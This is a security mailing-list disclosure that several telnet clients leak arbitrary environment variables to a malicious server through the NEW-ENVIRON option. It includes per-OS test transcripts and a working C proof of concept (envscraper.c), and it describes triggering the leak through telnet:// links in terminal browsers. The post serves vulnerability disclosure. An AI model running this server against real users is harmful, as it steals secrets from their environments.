Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-Id: <20260313043738.8600-1-justin.swartz@risingedge.co.za>
Date: Fri, 13 Mar 2026 06:37:38 +0200
From: Justin Swartz <justin.swartz@...ingedge.co.za>
To: oss-security@...ts.openwall.com
Cc: justin.swartz@...ingedge.co.za
Subject: Some telnet clients leak environment variables

Greetings,

In a recent oss-security thread [1] regarding the CVE-1999-0073 [2]
regression in GNU inetutils telnetd, Solar Designer suggested [3]
that the inetutils telnet client may not have been subject to an
adequate fix for CVE-2005-0488. [4]

If this were the case, then it would mean that a telnet server could 
possibly read a client's environment variables with the NEW-ENVIRON
option and the SEND ENV_USERVAR command.

So, I wrote a simple proof of concept (attached below this message
as envscraper.c) to find out if I could convince a telnet client to
tell me the value of an arbitrary environment variable.


SUMMARY OF AFFECTED CLIENTS

  GNU inetutils 2.7.33 [VULNERABLE]

  The client unconditionally leaks any requested environment
  variable. No export required.

  Debian's switch from netkit telnet to inetutils telnet during
  the Debian 12 (Bookworm) cycle reintroduced this vulnerability
  to the default installation.

  Debian derived distributions such as Ubuntu, Devuan, and mobile
  environments such as Termux are also at risk.
  

  FreeBSD 16.0-CURRENT & NetBSD 11.0-RC2 [VULNERABLE]
  
  Both clients unconditionally leak any requested environment
  variable. No export required.
  

  OpenBSD 7.8 [PARTIAL LEAKAGE]
  
  The client blocks most variables which have not been explicitly
  exported, but potentially sensitive variables such as DISPLAY,
  XAUTHORITY and PRINTER are leaked without prior export.
  

  Oracle Solaris 11.4 [VULNERABLE]
  
  The client unconditionally leaks any requested environment
  variable. No export required.

  It's also worth noting that it replaces the DISPLAY variable
  with just the local hostname, effectively dropping the display
  (and optional screen) number.


POTENTIAL ABUSE VIA telnet:// URI SCHEME HANDLING

  This issue may also be triggered through web browsers which
  support the telnet:// URI scheme. Some terminal-based web
  browsers, such as Lynx and Elinks, pass the address and port
  declared in a telnet:// URI directly to the system's native
  telnet binary.
  
  Because the spawned telnet process inherits the browser's
  environment, an attacker may read these variables by leading
  the user to follow either a direct link to a telnet://
  URI, or to an HTTP 3xx redirect that points to a telnet://
  URI instead.
  
  No other browsers or HTTP clients that support this scheme
  were tested.


TEST DATA

  The following tests were conducted against the native telnet
  clients of the respective operating systems.


-------------------------------------------- GNU inetutils 2.7.33 [VULNERABLE]

$ telnet -V
telnet (GNU inetutils) 2.7.33-81d43
Copyright (C) 2026 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Written by many authors.


# Unconditionally leaks requested variables ...

$ ./envscraper | xxd
00000000: fffb 27ff fa27 0003 4744 5052 0156 494f  ..'..'..GDPR.VIO
00000010: 4c41 5445 44ff f0                        LATED..

$ GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.
 

-------------------------------------------- FreeBSD 16.0-CURRENT [VULNERABLE]

root@...ebsd:/tmp # uname -a
FreeBSD freebsd 16.0-CURRENT FreeBSD 16.0-CURRENT #0 main-n284417-8f72d933cd18
:Mon Mar  9 11:57:15 UTC 2026     root@...eng3.nyi.freebsd.org:/usr/obj/usr/sr
c/amd64.amd64/sys/GENERIC amd64


# Unconditionally leaks requested variables ...

root@...ebsd:/tmp # ./envscraper GDPR | hexdump -C
00000000  ff fb 27 ff fa 27 00 03  47 44 50 52 01 56 49 4f  |..'..'..GDPR.VIO|
00000010  4c 41 54 45 44 ff f0                              |LATED..|
00000017

root@...ebsd:/tmp # GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.


------------------------------------------------- NetBSD 11.0-RC2 [VULNERABLE]

netbsd# uname -a
NetBSD netbsd 11.0_RC2 NetBSD 11.0_RC2 (GENERIC) #0: Wed Mar  4 21:02:00 UTC 2
026  mkrepro@...epro.NetBSD.org:/usr/src/sys/arch/amd64/compile/GENERIC amd64


# Unconditionally leaks requested variables ...

netbsd# ./envscraper GDPR | hexdump -C
00000000  ff fb 27 ff fa 27 00 03  47 44 50 52 01 56 49 4f  |..'..'..GDPR.VIO|
00000010  4c 41 54 45 44 ff f0                              |LATED..|
00000017

netbsd# GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Connection closed by foreign host.


------------------------------------------------ OpenBSD 7.8 [PARTIAL LEAKAGE]

openbsd# uname -a
OpenBSD openbsd.my.domain 7.8 GENERIC#54 amd64


# Blocks most variables which have not been explicitly exported ...

openbsd# ./envscraper GDPR | hexdump -C
00000000  ff fb 27 ff fa 27 00 03  47 44 50 52 ff f0        |..'..'..GDPR..|
0000000e

openbsd# GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# But will leak those variables if they're explicitly exported ...

openbsd# ./envscraper GDPR | hexdump -C 
00000000  ff fb 27 ff fa 27 00 03  47 44 50 52 01 56 49 4f  |..'..'..GDPR.VIO|
00000010  4c 41 54 45 44 ff f0                              |LATED..|
00000017

openbsd# GDPR=VIOLATED telnet                    
telnet> environ export GDPR
telnet> open 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# Leaks the client's DISPLAY (with FQDN) without explicit export ...

openbsd# ./envscraper DISPLAY | hexdump -C 
00000000  ff fb 27 ff fa 27 00 00  44 49 53 50 4c 41 59 01  |..'..'..DISPLAY.|
00000010  6f 70 65 6e 62 73 64 2e  6d 79 2e 64 6f 6d 61 69  |openbsd.my.domai|
00000020  6e 3a 31 2e 30 ff f0                              |n:1.0..|
00000027

openbsd# DISPLAY=:1.0 telnet 127.0.0.1 23232 
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# Leaks the client's XAUTHORITY without explicit export ...

openbsd# ./envscraper XAUTHORITY | hexdump -C
00000000  ff fb 27 ff fa 27 00 03  58 41 55 54 48 4f 52 49  |..'..'..XAUTHORI|
00000010  54 59 01 2f 68 6f 6d 65  2f 75 73 65 72 2f 2e 58  |TY./home/user/.X|
00000020  61 75 74 68 6f 72 69 74  79 ff f0                 |authority..|
0000002b

openbsd# XAUTHORITY="/home/user/.Xauthority" telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


# Leaks the client's PRINTER without explicit export ...

openbsd# ./envscraper PRINTER | hexdump -C
00000000  ff fb 27 ff fa 27 00 00  50 52 49 4e 54 45 52 01  |..'..'..PRINTER.|
00000010  6e 6f 66 61 78 67 69 76  65 6e ff f0              |nofaxgiven..|
0000001c

openbsd# PRINTER="nofaxgiven" telnet 127.0.0.1 23232                
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection closed by foreign host.


--------------------------------------------- Oracle Solaris 11.4 [VULNERABLE]

root@...aris:/tmp# uname -a
SunOS solaris 5.11 11.4.0.15.0 i86pc i386 i86pc


# Unconditionally leaks requested variables ...

root@...aris:/tmp# ./envscraper GDPR | xxd
00000000: fffb 27ff fa27 0003 4744 5052 0156 494f  ..'..'..GDPR.VIO
00000010: 4c41 5445 44ff f0                        LATED..

root@...aris:/tmp# GDPR=VIOLATED telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection to 127.0.0.1 closed by foreign host.


# Leaks the client's local hostname via DISPLAY without explicit export ...

root@...aris:/tmp# ./envscraper DISPLAY | xxd
00000000: fffb 27ff fa27 0000 4449 5350 4c41 5901  ..'..'..DISPLAY.
00000010: 736f 6c61 7269 73ff f0                   solaris..

root@...aris:/tmp# DISPLAY=:1.0 telnet 127.0.0.1 23232
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Connection to 127.0.0.1 closed by foreign host.


------------------------------------------------------------------------------

This commentary and the attached proof of concept are released into the
public domain.


Regards,
Justin


--- Links ---
[1] https://www.openwall.com/lists/oss-security/2026/02/24/1
[2] https://nvd.nist.gov/vuln/detail/CVE-1999-0073
[3] https://www.openwall.com/lists/oss-security/2026/03/08/4
[4] https://nvd.nist.gov/vuln/detail/cve-2005-0488


--- BEGIN envscraper.c ---
/*
 *  Attempt to extract an environment variable from a telnet client.
 *  $ cc -o envscraper envscraper.c -Wall -Werror -Wextra -pedantic
 */

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define IP_ADDRESS   htonl(0x7f000001)
#define PORT         htons(23232)

#define IAC          "\xff"
#define DO           "\xfd"
#define SB           "\xfa"
#define SE           "\xf0"
#define NEW_ENVIRON  "\x27"
#define SEND         "\x01"
#define USERVAR      "\x03"

static int server = -1, client = -1;

static void usage(FILE *stream)
{
	fprintf(stream, "usage: envscraper VARIABLE\n");
}

static int setup(void)
{
	int reuse = 1;
	struct sockaddr_in address = { .sin_family = AF_INET };
	socklen_t length = sizeof(address);

	server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (server == -1) {
		perror("socket");
		return -1;
	}	

	if (setsockopt(server, SOL_SOCKET,
	               SO_REUSEADDR, &reuse, sizeof(reuse)) == -1) {
		perror("setsockopt: SO_REUSEADDR");
		return -1;
	}

	address.sin_addr.s_addr = IP_ADDRESS;
	address.sin_port        = PORT;

	if (bind(server, (struct sockaddr *)&address, sizeof(address)) == -1) {
		perror("bind");
		return -1;
	}

	if (listen(server, 1) == -1) {
		perror("listen");
		return -1;
	}

	client = accept(server, (struct sockaddr *)&address, &length);
	if (client == -1) {
		perror("accept");
		return -1;
	}	

	return 0;
}

static int serve(char *variable)
{
	const char accost[] = IAC DO NEW_ENVIRON;
	const char demand[] = IAC SB NEW_ENVIRON SEND USERVAR;
	const char end[]    = IAC SE;

	int count;
	size_t total = 0;
	char ransom[1024];
	struct timeval wait = { .tv_sec = 1 };

	if (send(client, accost, sizeof(accost) - 1, 0) == -1) {
		perror("send: accost");
		return -1;
	}

	if (send(client, demand, sizeof(demand) - 1, 0) == -1) {
		perror("send: demand");
		return -1;
	}

	if (send(client, variable, strlen(variable), 0) == -1) {
		perror("send: variable");
		return -1;
	}

	if (send(client, end, sizeof(end) - 1, 0) == -1) {
		perror("send: end");
		return -1;
	}

	if (setsockopt(client, SOL_SOCKET,
	               SO_RCVTIMEO, (const char *)&wait, sizeof(wait)) == -1) {
		perror("setsockopt: SO_RCVTIMEO");
		return -1;
	}

	while (total < sizeof(ransom)) {
		count = recv(client, ransom + total, sizeof(ransom) - total, 0);

		if (count == 0)
			break;

		if (count == -1) {
			if (errno == EWOULDBLOCK || errno == EAGAIN)
				break;

			perror("recv: ransom");
			return -1;
		}

		total += count;
	}

	if (write(STDOUT_FILENO, ransom, total) == -1) {
		perror("write: stdout");
		return -1;
	}

	return 0;
}

static void cleanup(void)
{
	if (client > -1)
		close(client);

	if (server > -1)
		close(server);
}

int main(int argc, char *argv[])
{
	if (argc != 2) {
		usage(stderr);
		return EXIT_FAILURE;
	}

	atexit(cleanup);

	if (setup() == -1)
		return EXIT_FAILURE;

	if (serve(argv[1]) == -1)
		return EXIT_FAILURE;

	return EXIT_SUCCESS;
}
--- END envscraper.c ---

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.